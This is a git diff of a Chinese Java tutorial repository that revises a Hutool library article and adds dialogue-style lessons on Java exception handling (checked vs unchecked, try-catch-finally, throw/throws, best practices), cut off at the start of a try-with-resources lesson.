开发核心库,个人觉得实用性还是很高的(不然呢?嘿嘿嘿)。引入到你的项目后不仅能快速的实现一些开发中常用的功能,而且还可以让代码更加的优雅简洁。 + +我觉得适用于每一个 Java 项目,至于其他的一些功能,比如说散列、事件总线、数学运算、反射,就等待你去发掘了。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/common-tool/guava-03.png) diff --git a/docs/src/common-tool/hutool.md b/docs/common-tool/hutool.md similarity index 84% rename from docs/src/common-tool/hutool.md rename to docs/common-tool/hutool.md index d231603426..20172e3349 100644 --- a/docs/src/common-tool/hutool.md +++ b/docs/common-tool/hutool.md @@ -1,25 +1,17 @@ ---- -title: Hutool:国产良心工具包,让你的Java变得更甜 -shortTitle: Hutool工具类库 -category: - - Java核心 -tag: - - 常用工具类 -description: 本文详细介绍了国产Java工具包Hutool,阐述了它在简化Java编程中的实际应用和优势。通过具体的代码示例,展示了如何使用Hutool解决字符串处理、集合操作、日期时间处理等常见问题。学习Hutool的技巧,让您在Java编程中更加轻松、高效,享受编程的乐趣。 -head: - - - meta - - name: keywords - content: Java,Java SE,Java基础,Java教程,二哥的Java进阶之路,Java进阶之路,Java入门,教程,java,Hutool,java hutool ---- 读者群里有个小伙伴感慨说,“Hutool 这款开源类库太厉害了,基本上该有该的工具类,它里面都有。”讲真的,我平常工作中也经常用 Hutool,它确实可以帮助我们简化每一行代码,使 Java 拥有函数式语言般的优雅,让 Java 语言变得“甜甜的”。 -Hutool 的作者在[官网](https://hutool.cn/)上说,Hutool 是 Hu+tool 的自造词(好像不用说,我们也能猜得到),“Hu”用来致敬他的“前任”公司,“tool”就是工具的意思,谐音就有意思了,“糊涂”,寓意追求“万事都作糊涂观,无所谓失,无所谓得”(一个开源类库,上升到了哲学的高度,作者厉害了)。 +PS:为了能够帮助更多的 Java 爱好者,已将《Java 程序员进阶之路》开源到了 GitHub(本篇已收录)。该专栏目前已经收获了 598 枚星标,如果你也喜欢这个专栏,**觉得有帮助的话,可以去点个 star,这样也方便以后进行更系统化的学习**! + +>[https://github.com/itwanger/toBeBetterJavaer](https://github.com/itwanger/toBeBetterJavaer) + +Hutool 的作者在官网上说,Hutool 是 Hu+tool 的自造词(好像不用说,我们也能猜得到),“Hu”用来致敬他的“前任”公司,“tool”就是工具的意思,谐音就有意思了,“糊涂”,寓意追求“万事都作糊涂观,无所谓失,无所谓得”(一个开源类库,上升到了哲学的高度,作者厉害了)。 看了一下开发团队的一个成员介绍,一个 Java 后端工具的作者竟然爱前端、爱数码,爱美女,嗯嗯嗯,确实“难得糊涂”(手动狗头)。 -![](https://cdn.paicoding.com/tobebetterjavaer/images/common-tool/hutool-01.png) +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/common-tool/hutool-01.png) + 废话就说到这,来吧,实操走起! @@ -40,17 +32,17 @@ Hutool 的设计思想是尽量减少重复的定义,让项目中的 util 包 就像作者在官网上说的那样: - 以前,我们打开搜索引擎 -> 搜“Java MD5 加密” -> 打开某篇博客 -> 复制粘贴 -> 改改,变得好用些 -- 有了 Hutool 以后呢,引入 Hutool -> 直接 `SecureUtil.md5()` +>有了 Hutool 以后呢,引入 Hutool -> 直接 `SecureUtil.md5()` Hutool 对不仅对 JDK 底层的文件、流、加密解密、转码、正则、线程、XML等做了封装,还提供了以下这些组件: -![](https://cdn.paicoding.com/tobebetterjavaer/images/common-tool/hutool-02.png) +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/common-tool/hutool-02.png) 非常多,非常全面,鉴于此,我只挑选一些我喜欢的来介绍下(偷偷地告诉你,我就是想偷懒)。 ### 02、类型转换 -类型转换在 Java 开发中很常见,尤其是从 HttpRequest 中获取参数的时候,前端传递的是整型,但后端只能先获取到字符串,然后再调用 `parseXXX()` 方法进行转换,还要加上判空,很繁琐。 +类型转换在 Java 开发中很常见,尤其是从 HttpRequest 中获取参数的时候,前端传递的是整形,但后端只能先获取到字符串,然后再调用 `parseXXX()` 方法进行转换,还要加上判空,很繁琐。 Hutool 的 Convert 类可以简化这个操作,可以将任意可能的类型转换为指定类型,同时第二个参数 defaultValue 可用于在转换失败时返回一个默认值。 @@ -137,7 +129,7 @@ String chineseZodiac = DateUtil.getChineseZodiac(1989); ### 04、IO 流相关 -[IO 操作包括读和写](https://javabetter.cn/io/shangtou.html),应用的场景主要包括网络操作和文件操作,原生的 Java 类库区分[字符流](https://javabetter.cn/io/reader-writer.html)和[字节流](https://javabetter.cn/io/stream.html),字节流 InputStream 和 OutputStream 就有很多很多种,使用起来让人头皮发麻。 +IO 操作包括读和写,应用的场景主要包括网络操作和文件操作,原生的 Java 类库区分字符流和字节流,字节流 InputStream 和 OutputStream 就有很多很多种,使用起来让人头皮发麻。 Hutool 封装了流操作工具类 IoUtil、文件读写操作工具类 FileUtil、文件类型判断工具类 FileTypeUtil 等等。 @@ -160,11 +152,11 @@ long copySize = IoUtil.copy(in, out, IoUtil.DEFAULT_BUFFER_SIZE); 在实际编码当中,我们通常需要从某些文件里面读取一些数据,比如配置文件、文本文件、图片等等,那这些文件通常放在什么位置呢? -![](https://cdn.paicoding.com/tobebetterjavaer/images/common-tool/hutool-03.png) +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/common-tool/hutool-03.png) 放在项目结构图中的 resources 目录下,当项目编译后,会出现在 classes 目录下。对应磁盘上的目录如下图所示: -![](https://cdn.paicoding.com/tobebetterjavaer/images/common-tool/hutool-04.png) +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/common-tool/hutool-04.png) 当我们要读取文件的时候,我是不建议使用绝对路径的,因为操作系统不一样的话,文件的路径标识符也是不一样的。最好使用相对路径。 @@ -317,7 +309,7 @@ public class ConsoleDemo { - 是不是电话号码 - 等等 -![](https://cdn.paicoding.com/tobebetterjavaer/images/common-tool/hutool-05.png) +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/common-tool/hutool-05.png) ```java Validator.isEmail("沉默王二"); @@ -326,7 +318,7 @@ Validator.isMobile("itwanger.com"); ### 12、双向查找 Map -[Guava](https://javabetter.cn/common-tool/guava.html) 中提供了一种特殊的 Map 结构,叫做 BiMap,实现了一种双向查找的功能,可以根据 key 查找 value,也可以根据 value 查找 key,Hutool 也提供这种 Map 结构。 +Guava 中提供了一种特殊的 Map 结构,叫做 BiMap,实现了一种双向查找的功能,可以根据 key 查找 value,也可以根据 value 查找 key,Hutool 也提供这种 Map 结构。 ```java BiMap biMap = new BiMap<>(new HashMap<>()); @@ -344,7 +336,7 @@ biMap.getKey("沉默王三"); 在实际的开发工作中,其实我更倾向于使用 Guava 的 BiMap,而不是 Hutool 的。这里提一下,主要是我发现了 Hutool 在线文档上的一处错误,提了个 issue(从中可以看出我一颗一丝不苟的心和一双清澈明亮的大眼睛啊)。 -![](https://cdn.paicoding.com/tobebetterjavaer/images/common-tool/hutool-06.png) +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/common-tool/hutool-06.png) ### 13、图片工具 @@ -386,7 +378,7 @@ ImgUtil.pressText(// 趁机让大家欣赏一下二哥帅气的真容。 -![](https://cdn.paicoding.com/tobebetterjavaer/images/common-tool/hutool-07.png) +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/common-tool/hutool-07.png) ### 14、配置文件 @@ -554,13 +546,5 @@ Hutool 中的类库还有很多,尤其是一些对第三方类库的进一步 项目源码地址:[https://github.com/looly/hutool](https://github.com/looly/hutool) ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/exception/gailan.md b/docs/exception/gailan.md new file mode 100644 index 0000000000..795c647956 --- /dev/null +++ b/docs/exception/gailan.md @@ -0,0 +1,174 @@ + + +“二哥,今天就要学习异常了吗?”三妹问。 + +“是的。只有正确地处理好异常,才能保证程序的可靠性,所以异常的学习还是很有必要的。”我说。 + +“那到底什么是异常呢?”三妹问。 + +“异常是指中断程序正常执行的一个不确定的事件。当异常发生时,程序的正常执行流程就会被打断。一般情况下,程序都会有很多条语句,如果没有异常处理机制,前面的语句一旦出现了异常,后面的语句就没办法继续执行了。” + +“有了异常处理机制后,程序在发生异常的时候就不会中断,我们可以对异常进行捕获,然后改变程序执行的流程。” + +“除此之外,异常处理机制可以保证我们向用户提供友好的提示信息,而不是程序原生的异常信息——用户根本理解不了。” + +“不过,站在开发者的角度,我们更希望看到原生的异常信息,因为这有助于我们更快地找到 bug 的根源,反而被过度包装的异常信息会干扰我们的视线。” + +“Java 语言在一开始就提供了相对完善的异常处理机制,这种机制大大降低了编写可靠程序的门槛,这也是 Java 之所以能够流行的原因之一。” + +“那导致程序抛出异常的原因有哪些呢?”三妹问。 + +比如说: + +- 程序在试图打开一个不存在的文件; +- 程序遇到了网络连接问题; +- 用户输入了糟糕的数据; +- 程序在处理算术问题时没有考虑除数为 0 的情况; + +等等等等。 + +挑个最简单的原因来说吧。 + +```java +public class Demo { + public static void main(String[] args) { + System.out.println(10/0); + } +} +``` + +这段代码在运行的时候抛出的异常信息如下所示: + +``` +Exception in thread "main" java.lang.ArithmeticException: / by zero + at com.itwanger.s41.Demo.main(Demo.java:8) +``` + +“你看,三妹,这个原生的异常信息对用户来说,显然是不太容易理解的,但对于我们开发者来说,简直不要太直白了——很容易就能定位到异常发生的根源。” + +“哦,我知道了。下一个问题,我经常看到一些文章里提到 Exception 和 Error,二哥你能帮我解释一下它们之间的区别吗?”三妹问。 + +“这是一个好问题呀,三妹!” + +从单词的释义上来看,error 为错误,exception 为异常,错误的等级明显比异常要高一些。 + +从程序的角度来看,也的确如此。 + +Error 的出现,意味着程序出现了严重的问题,而这些问题不应该再交给 Java 的异常处理机制来处理,程序应该直接崩溃掉,比如说 OutOfMemoryError,内存溢出了,这就意味着程序在运行时申请的内存大于系统能够提供的内存,导致出现的错误,这种错误的出现,对于程序来说是致命的。 + +Exception 的出现,意味着程序出现了一些在可控范围内的问题,我们应当采取措施进行挽救。 + +比如说之前提到的 ArithmeticException,很明显是因为除数出现了 0 的情况,我们可以选择捕获异常,然后提示用户不应该进行除 0 操作,当然了,更好的做法是直接对除数进行判断,如果是 0 就不进行除法运算,而是告诉用户换一个非 0 的数进行运算。 + +“三妹,还能想到其他的问题吗?” + +“嗯,不用想,二哥,我已经提前做好预习工作了。”三妹自信地说,“异常又可以分为 checked 和 unchecked,它们之间又有什么区别呢?” + +“哇,三妹,果然又是一个好问题呢。” + +checked 异常(检查型异常)在源代码里必须显式地捕获或者抛出,否则编译器会提示你进行相应的操作;而 unchecked 异常(非检查型异常)就是所谓的运行时异常,通常是可以通过编码进行规避的,并不需要显式地捕获或者抛出。 + +“我先画一幅思维导图给你感受一下。” + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/exception/gailan-01.png) + +首先,Exception 和 Error 都继承了 Throwable 类。换句话说,只有 Throwable 类(或者子类)的对象才能使用 throw 关键字抛出,或者作为 catch 的参数类型。 + +面试中经常问到的一个问题是,NoClassDefFoundError 和 ClassNotFoundException 有什么区别? + +“三妹你知道吗?” + +“不知道,二哥,你解释下呗。” + +它们都是由于系统运行时找不到要加载的类导致的,但是触发的原因不一样。 + +- NoClassDefFoundError:程序在编译时可以找到所依赖的类,但是在运行时找不到指定的类文件,导致抛出该错误;原因可能是 jar 包缺失或者调用了初始化失败的类。 +- ClassNotFoundException:当动态加载 Class 对象的时候找不到对应的类时抛出该异常;原因可能是要加载的类不存在或者类名写错了。 + + +其次,像 IOException、ClassNotFoundException、SQLException 都属于 checked 异常;像 RuntimeException 以及子类 ArithmeticException、ClassCastException、ArrayIndexOutOfBoundsException、NullPointerException,都属于 unchecked 异常。 + +unchecked 异常可以不在程序中显示处理,就像之前提到的 ArithmeticException 就是的;但 checked 异常必须显式处理。 + +比如说下面这行代码: + +```java +Class clz = Class.forName("com.itwanger.s41.Demo1"); +``` + +如果没做处理,比如说在 Intellij IDEA 环境下,就会提示你这行代码可能会抛出 `java.lang.ClassNotFoundException`。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/exception/gailan-02.png) + +建议你要么使用 try-catch 进行捕获: + +```java +try { + Class clz = Class.forName("com.itwanger.s41.Demo1"); +} catch (ClassNotFoundException e) { + e.printStackTrace(); +} +``` + +注意打印异常堆栈信息的 `printStackTrace()` 方法,该方法会将异常的堆栈信息打印到标准的控制台下,如果是测试环境,这样的写法还 OK,如果是生产环境,这样的写法是不可取的,必须使用日志框架把异常的堆栈信息输出到日志系统中,否则可能没办法跟踪。 + +要么在方法签名上使用 throws 关键字抛出: + +```java +public class Demo1 { + public static void main(String[] args) throws ClassNotFoundException { + Class clz = Class.forName("com.itwanger.s41.Demo1"); + } +} +``` + +这样做的好处是不需要对异常进行捕获处理,只需要交给 Java 虚拟机来处理即可;坏处就是没法针对这种情况做相应的处理。 + +“二哥,针对 checked 异常,我在知乎上看到一个帖子,说 Java 中的 checked 很没有必要,这种异常在编译期要么 try-catch,要么 throws,但又不一定会出现异常,你觉得这样的设计有意义吗?”三妹提出了一个很尖锐的问题。 + +“哇,这种问题问的好。”我不由得对三妹心生敬佩。 + +“的确,checked 异常在业界是有争论的,它假设我们捕获了异常,并且针对这种情况作了相应的处理,但有些时候,根本就没法处理。”我说,“就拿上面提到的 ClassNotFoundException 异常来说,我们假设对其进行了 try-catch,可真的出现了 ClassNotFoundException 异常后,我们也没多少的可操作性,再 `Class.forName()` 一次?” + +另外,checked 异常也不兼容函数式编程,后面如果你写 Lambda/Stream 代码的时候,就会体验到这种苦涩。 + +当然了,checked 异常并不是一无是处,尤其是在遇到 IO 或者网络异常的时候,比如说进行 Socket 链接,我大致写了一段: + +```java +public class Demo2 { + private String mHost; + private int mPort; + private Socket mSocket; + private final Object mLock = new Object(); + + public void run() { + } + + private void initSocket() { + while (true) { + try { + Socket socket = new Socket(mHost, mPort); + synchronized (mLock) { + mSocket = socket; + } + break; + } catch (IOException e) { + e.printStackTrace(); + } + } + } +} +``` + +当发生 IOException 的时候,socket 就重新尝试连接,否则就 break 跳出循环。意味着如果 IOException 不是 checked 异常,这种写法就略显突兀,因为 IOException 没办法像 ArithmeticException 那样用一个 if 语句判断除数是否为 0 去规避。 + +或者说,强制性的 checked 异常可以让我们在编程的时候去思考,遇到这种异常的时候该怎么更优雅的去处理。显然,Socket 编程中,肯定是会遇到 IOException 的,假如 IOException 是非检查型异常,就意味着开发者也可以不考虑,直接跳过,交给 Java 虚拟机来处理,但我觉得这样做肯定更不合适。 + +“好了,三妹,关于异常处理机制这节就先讲到这里吧。”我松了一口气,对三妹说。 + +“好的,二哥,你去休息吧。” + +“对了,三妹,我定个姑婆婆的外卖吧,晚上我们喝粥。” + +“好呀,我要两个豆沙包。” + diff --git a/docs/exception/shijian.md b/docs/exception/shijian.md new file mode 100644 index 0000000000..073e9d7074 --- /dev/null +++ b/docs/exception/shijian.md @@ -0,0 +1,217 @@ + + +“三妹啊,今天我来给你传授几个异常处理的最佳实践经验,以免你以后在开发中采坑。”我面带着微笑对三妹说。 + +“好啊,二哥,我洗耳恭听。”三妹也微微一笑,欣然接受。 + +“好,那哥就不废话了。开整。” + +-------- + +**1)尽量不要捕获 RuntimeException** + +阿里出品的嵩山版 Java 开发手册上这样规定: + +>尽量不要 catch RuntimeException,比如 NullPointerException、IndexOutOfBoundsException 等等,应该用预检查的方式来规避。 + +正例: + +```java +if (obj != null) { + //... +} +``` + +反例: + +```java +try { + obj.method(); +} catch (NullPointerException e) { + //... +} +``` + +“哦,那如果有些异常预检查不出来呢?”三妹问。 + +“的确会存在这样的情况,比如说 NumberFormatException,虽然也属于 RuntimeException,但没办法预检查,所以还是应该用 catch 捕获处理。”我说。 + +**2)尽量使用 try-with-resource 来关闭资源** + +当需要关闭资源时,尽量不要使用 try-catch-finally,禁止在 try 块中直接关闭资源。 + +反例: + +```java +public void doNotCloseResourceInTry() { + FileInputStream inputStream = null; + try { + File file = new File("./tmp.txt"); + inputStream = new FileInputStream(file); + inputStream.close(); + } catch (FileNotFoundException e) { + log.error(e); + } catch (IOException e) { + log.error(e); + } +} +``` + +“为什么呢?”三妹问。 + +“原因也很简单,因为一旦 `close()` 之前发生了异常,那么资源就无法关闭。直接使用 [try-with-resource](https://mp.weixin.qq.com/s/7yhHOG0SVCfoHdhtZHfeVg) 来处理是最佳方式。”我说。 + +```java +public void automaticallyCloseResource() { + File file = new File("./tmp.txt"); + try (FileInputStream inputStream = new FileInputStream(file);) { + } catch (FileNotFoundException e) { + log.error(e); + } catch (IOException e) { + log.error(e); + } +} +``` + +“除非资源没有实现 AutoCloseable 接口。”我补充道。 + +“那这种情况下怎么办呢?”三妹问。 + +“就在 finally 块关闭流。”我说。 + +```java +public void closeResourceInFinally() { + FileInputStream inputStream = null; + try { + File file = new File("./tmp.txt"); + inputStream = new FileInputStream(file); + } catch (FileNotFoundException e) { + log.error(e); + } finally { + if (inputStream != null) { + try { + inputStream.close(); + } catch (IOException e) { + log.error(e); + } + } + } +} +``` + +**3)不要捕获 Throwable** + +Throwable 是 exception 和 error 的父类,如果在 catch 子句中捕获了 Throwable,很可能把超出程序处理能力之外的错误也捕获了。 + +```java +public void doNotCatchThrowable() { + try { + } catch (Throwable t) { + // 不要这样做 + } +} +``` + +“到底为什么啊?”三妹问。 + +“因为有些 error 是不需要程序来处理,程序可能也处理不了,比如说 OutOfMemoryError 或者 StackOverflowError,前者是因为 Java 虚拟机无法申请到足够的内存空间时出现的非正常的错误,后者是因为线程申请的栈深度超过了允许的最大深度出现的非正常错误,如果捕获了,就掩盖了程序应该被发现的严重错误。”我说。 + +“打个比方,一匹马只能拉一车厢的货物,拉两车厢可能就挂了,但一 catch,就发现不了问题了。”我补充道。 + +**4)不要省略异常信息的记录** + +很多时候,由于疏忽大意,开发者很容易捕获了异常却没有记录异常信息,导致程序上线后真的出现了问题却没有记录可查。 + +```java +public void doNotIgnoreExceptions() { + try { + } catch (NumberFormatException e) { + // 没有记录异常 + } +} +``` + +应该把错误信息记录下来。 + +```java +public void logAnException() { + try { + } catch (NumberFormatException e) { + log.error("哦,错误竟然发生了: " + e); + } +} +``` + +**5)不要记录了异常又抛出了异常** + +这纯属画蛇添足,并且容易造成错误信息的混乱。 + +反例: + +```java +try { +} catch (NumberFormatException e) { + log.error(e); + throw e; +} +``` + +要抛出就抛出,不要记录,记录了又抛出,等于多此一举。 + +反例: + +```java +public void wrapException(String input) throws MyBusinessException { + try { + } catch (NumberFormatException e) { + throw new MyBusinessException("错误信息描述:", e); + } +} +``` + +这种也是一样的道理,既然已经捕获了,就不要在方法签名上抛出了。 + +**6)不要在 finally 块中使用 return** + +阿里出品的嵩山版 Java 开发手册上这样规定: + +>try 块中的 return 语句执行成功后,并不会马上返回,而是继续执行 finally 块中的语句,如果 finally 块中也存在 return 语句,那么 try 块中的 return 就将被覆盖。 + +反例: + +```java +private int x = 0; +public int checkReturn() { + try { + return ++x; + } finally { + return ++x; + } +} +``` + +“哦,确实啊,try 块中 x 返回的值为 1,到了 finally 块中就返回 2 了。”三妹说。 + +“是这样的。”我点点头。 + +---------- + +“好了,三妹,关于异常处理实践就先讲这 6 条吧,实际开发中你还会碰到其他的一些坑,自己踩一踩可能印象更深刻一些。”我说。 + +“那万一到时候我工作后被领导骂了怎么办?”三妹委屈地说。 + +“新人嘛,总要写几个 bug 才能对得起新人这个称号嘛。”我轻描淡写地说。 + +“好吧。”三妹无奈地叹了口气。 + +---- + +《**Java 程序员进阶之路**》预计一个月左右会有一次内容更新和完善,大家在我的公众号 **沉默王二** 后台回复“**03**” 即可获取最新版!如果觉得内容不错的话,欢迎转发分享! + +图片没显示的话,可以微信搜索「沉默王二」关注 + + + + + + diff --git a/docs/exception/throw-throws.md b/docs/exception/throw-throws.md new file mode 100644 index 0000000000..6d1a6ed5a0 --- /dev/null +++ b/docs/exception/throw-throws.md @@ -0,0 +1,103 @@ + + +“二哥,你能告诉我 throw 和 throws 两个关键字的区别吗?”三妹问。 + +“throw 关键字,用于主动地抛出异常;正常情况下,当除数为 0 的时候,程序会主动抛出 ArithmeticException;但如果我们想要除数为 1 的时候也抛出 ArithmeticException,就可以使用 throw 关键字主动地抛出异常。”我说。 + +```java +throw new exception_class("error message"); +``` + +语法也非常简单,throw 关键字后跟上 new 关键字,以及异常的类型还有参数即可。 + +举个例子。 + +```java +public class ThrowDemo { + static void checkEligibilty(int stuage){ + if(stuage<18) { + throw new ArithmeticException("年纪未满 18 岁,禁止观影"); + } else { + System.out.println("请认真观影!!"); + } + } + + public static void main(String args[]){ + checkEligibilty(10); + System.out.println("愉快地周末.."); + } +} +``` + +这段代码在运行的时候就会抛出以下错误: + +``` +Exception in thread "main" java.lang.ArithmeticException: 年纪未满 18 岁,禁止观影 + at com.itwanger.s43.ThrowDemo.checkEligibilty(ThrowDemo.java:9) + at com.itwanger.s43.ThrowDemo.main(ThrowDemo.java:16) +``` + +“throws 关键字的作用就和 throw 完全不同。”我说,“[异常处理机制](https://mp.weixin.qq.com/s/fXRJ1xdz_jNSSVTv7ZrYGQ)这小节中讲了 checked exception 和 unchecked exception,也就是检查型异常和非检查型异常;对于检查型异常来说,如果你没有做处理,编译器就会提示你。” + +`Class.forName()` 方法在执行的时候可能会遇到 `java.lang.ClassNotFoundException` 异常,一个检查型异常,如果没有做处理,IDEA 就会提示你,要么在方法签名上声明,要么放在 try-catch 中。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/exception/throw-throws-01.png) + +“那什么情况下使用 throws 而不是 try-catch 呢?”三妹问。 + +“假设现在有这么一个方法 `myMethod()`,可能会出现 ArithmeticException 异常,也可能会出现 NullPointerException。这种情况下,可以使用 try-catch 来处理。”我回答。 + +```java +public void myMethod() { + try { + // 可能抛出异常 + } catch (ArithmeticException e) { + // 算术异常 + } catch (NullPointerException e) { + // 空指针异常 + } +} +``` + +“但假设有好几个类似 `myMethod()` 的方法,如果为每个方法都加上 try-catch,就会显得非常繁琐。代码就会变得又臭又长,可读性就差了。”我继续说。 + +“一个解决办法就是,使用 throws 关键字,在方法签名上声明可能会抛出的异常,然后在调用该方法的地方使用 try-catch 进行处理。” + +```java +public static void main(String args[]){ + try { + myMethod1(); + } catch (ArithmeticException e) { + // 算术异常 + } catch (NullPointerException e) { + // 空指针异常 + } +} +public static void myMethod1() throws ArithmeticException, NullPointerException{ + // 方法签名上声明异常 +} +``` + +“好了,我来总结下 throw 和 throws 的区别,三妹,你记一下。” + + 1)throws 关键字用于声明异常,它的作用和 try-catch 相似;而 throw 关键字用于显式的抛出异常。 + +2)throws 关键字后面跟的是异常的名字;而 throw 关键字后面跟的是异常的对象。 + +示例。 + +``` +throws ArithmeticException; +``` + +``` +throw new ArithmeticException("算术异常"); +``` + + 3)throws 关键字出现在方法签名上,而 throw 关键字出现在方法体里。 + +4)throws 关键字在声明异常的时候可以跟多个,用逗号隔开;而 throw 关键字每次只能抛出一个异常。 + +“三妹,这下子清楚了吧?”我抬抬头,看了看三妹说。 + +“好的,二哥,这下彻底记住了,你真棒!” \ No newline at end of file diff --git a/docs/exception/try-catch-finally.md b/docs/exception/try-catch-finally.md new file mode 100644 index 0000000000..9966e07400 --- /dev/null +++ b/docs/exception/try-catch-finally.md @@ -0,0 +1,188 @@ + +“二哥,[上一节](https://mp.weixin.qq.com/s/fXRJ1xdz_jNSSVTv7ZrYGQ)你讲了异常处理机制,这一节讲什么呢?”三妹问。 + +“该讲 try-catch-finally 了。”我说,“try 关键字后面会跟一个大括号 `{}`,我们把一些可能发生异常的代码放到大括号里;`try` 块后面一般会跟 `catch` 块,用来处理发生异常的情况;当然了,异常不一定会发生,为了保证发不发生异常都能执行一些代码,就会跟一个 `finally` 块。” + +“具体该怎么用呀,二哥?”三妹问。 + +“别担心,三妹,我一一来说明下。”我说。 + +`try` 块的语法很简单: + +```java +try{ +// 可能发生异常的代码 +} +``` + +“注意啊,三妹,如果一些代码确定不会抛出异常,就尽量不要把它包裹在 `try` 块里,因为加了异常处理的代码执行起来要比没有加的花费更多的时间。” + +`catch` 块的语法也很简单: + +```java +try{ +// 可能发生异常的代码 +}catch (exception(type) e(object)){ +// 异常处理代码 +} +``` + +一个 `try` 块后面可以跟多个 `catch` 块,用来捕获不同类型的异常并做相应的处理,当 try 块中的某一行代码发生异常时,之后的代码就不再执行,而是会跳转到异常对应的 catch 块中执行。 + +如果一个 try 块后面跟了多个与之关联的 catch 块,那么应该把特定的异常放在前面,通用型的异常放在后面,不然编译器会提示错误。举例来说。 + +```java +static void test() { + int num1, num2; + try { + num1 = 0; + num2 = 62 / num1; + System.out.println(num2); + System.out.println("try 块的最后一句"); + } catch (ArithmeticException e) { + // 算术运算发生时跳转到这里 + System.out.println("除数不能为零"); + } catch (Exception e) { + // 通用型的异常意味着可以捕获所有的异常,它应该放在最后面, + System.out.println("异常发生了"); + } + System.out.println("try-catch 之外的代码."); +} +``` + +“为什么 Exception 不能放到 ArithmeticException 前面呢?”三妹问。 + +“因为 ArithmeticException 是 Exception 的子类,它更具体,我们看到就这个异常就知道是发生了算术错误,而 Exception 比较泛,它隐藏了具体的异常信息,我们看到后并不确定到底是发生了哪一种类型的异常,对错误的排查很不利。”我说,“再者,如果把通用型的异常放在前面,就意味着其他的 catch 块永远也不会执行,所以编译器就直接提示错误了。” + +“再给你举个例子,注意看,三妹。” + +```java +static void test1 () { + try{ + int arr[]=new int[7]; + arr[4]=30/0; + System.out.println("try 块的最后"); + } catch(ArithmeticException e){ + System.out.println("除数必须是 0"); + } catch(ArrayIndexOutOfBoundsException e){ + System.out.println("数组越界了"); + } catch(Exception e){ + System.out.println("一些其他的异常"); + } + System.out.println("try-catch 之外"); +} +``` + +这段代码在执行的时候,第一个 catch 块会执行,因为除数为零;我再来稍微改动下代码。 + +```java +static void test1 () { + try{ + int arr[]=new int[7]; + arr[9]=30/1; + System.out.println("try 块的最后"); + } catch(ArithmeticException e){ + System.out.println("除数必须是 0"); + } catch(ArrayIndexOutOfBoundsException e){ + System.out.println("数组越界了"); + } catch(Exception e){ + System.out.println("一些其他的异常"); + } + System.out.println("try-catch 之外"); +} +``` + +“我知道,二哥,第二个 catch 块会执行,因为没有发生算术异常,但数组越界了。”三妹没等我把代码运行起来就说出了答案。 + +“三妹,你说得很对,我再来改一下代码。” + +```java +static void test1 () { + try{ + int arr[]=new int[7]; + arr[9]=30/1; + System.out.println("try 块的最后"); + } catch(ArithmeticException | ArrayIndexOutOfBoundsException e){ + System.out.println("除数必须是 0"); + } + System.out.println("try-catch 之外"); +} +``` + +“当有多个 catch 的时候,也可以放在一起,用竖划线 `|` 隔开,就像上面这样。”我说。 + +“这样不错呀,看起来更简洁了。”三妹说。 + +`finally` 块的语法也不复杂。 + +```java +try { + // 可能发生异常的代码 +}catch { + // 异常处理 +}finally { + // 必须执行的代码 +} +``` + +在没有 `try-with-resources` 之前,finally 块常用来关闭一些连接资源,比如说 socket、数据库链接、IO 输入输出流等。 + +```java +OutputStream osf = new FileOutputStream( "filename" ); +OutputStream osb = new BufferedOutputStream(opf); +ObjectOutput op = new ObjectOutputStream(osb); +try{ + output.writeObject(writableObject); +} finally{ + op.close(); +} +``` + +“三妹,注意,使用 finally 块的时候需要遵守这些规则。” + +- finally 块前面必须有 try 块,不要把 finally 块单独拉出来使用。编译器也不允许这样做。 +- finally 块不是必选项,有 try 块的时候不一定要有 finally 块。 +- 如果 finally 块中的代码可能会发生异常,也应该使用 try-catch 进行包裹。 +- 即便是 try 块中执行了 return、break、continue 这些跳转语句,finally 块也会被执行。 + +“真的吗,二哥?”三妹对最后一个规则充满了疑惑。 + +“来试一下就知道了。”我说。 + +```java +static int test2 () { + try { + return 112; + } + finally { + System.out.println("即使 try 块有 return,finally 块也会执行"); + } +} +``` + +来看一下输出结果: + +``` +即使 try 块有 return,finally 块也会执行 +``` + +“那,会不会有不执行 finally 的情况呀?”三妹很好奇。 + +“有的。”我斩钉截铁地回答。 + +- 遇到了死循环。 +- 执行了 `System. exit()` 这行代码。 + +`System.exit()` 和 `return` 语句不同,前者是用来退出程序的,后者只是回到了上一级方法调用。 + +“三妹,来看一下源码的文档注释就全明白了!” + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/exception/try-catch-finally-01.png) + +至于参数 status 的值也很好理解,如果是异常退出,设置为非 0 即可,通常用 1 来表示;如果是想正常退出程序,用 0 表示即可。 + +“好了,三妹,关于 try-catch-finally 我们就讲到这吧!”我说。 + +“好的,二哥,已经很清楚了,我很期待下一节能讲 try-with-resources。”哈哈哈哈,三妹已经学会提新要求了,这令我感到非常的开心。 + +“没问题,下期见~” diff --git a/docs/exception/try-with-resouces.md b/docs/exception/try-with-resouces.md new file mode 100644 index 0000000000..1d3e863b7c --- /dev/null +++ b/docs/exception/try-with-resouces.md @@ -0,0 +1,292 @@ + +“二哥,终于等到你讲 try-with-resouces 了!”三妹夸张的表情让我有些吃惊。 + +“三妹,不要激动呀!开讲之前,我们还是要来回顾一下 try–catch-finally,好做个铺垫。”我说,“来看看这段代码吧。” + +```java +public class TrycatchfinallyDecoder { + public static void main(String[] args) { + 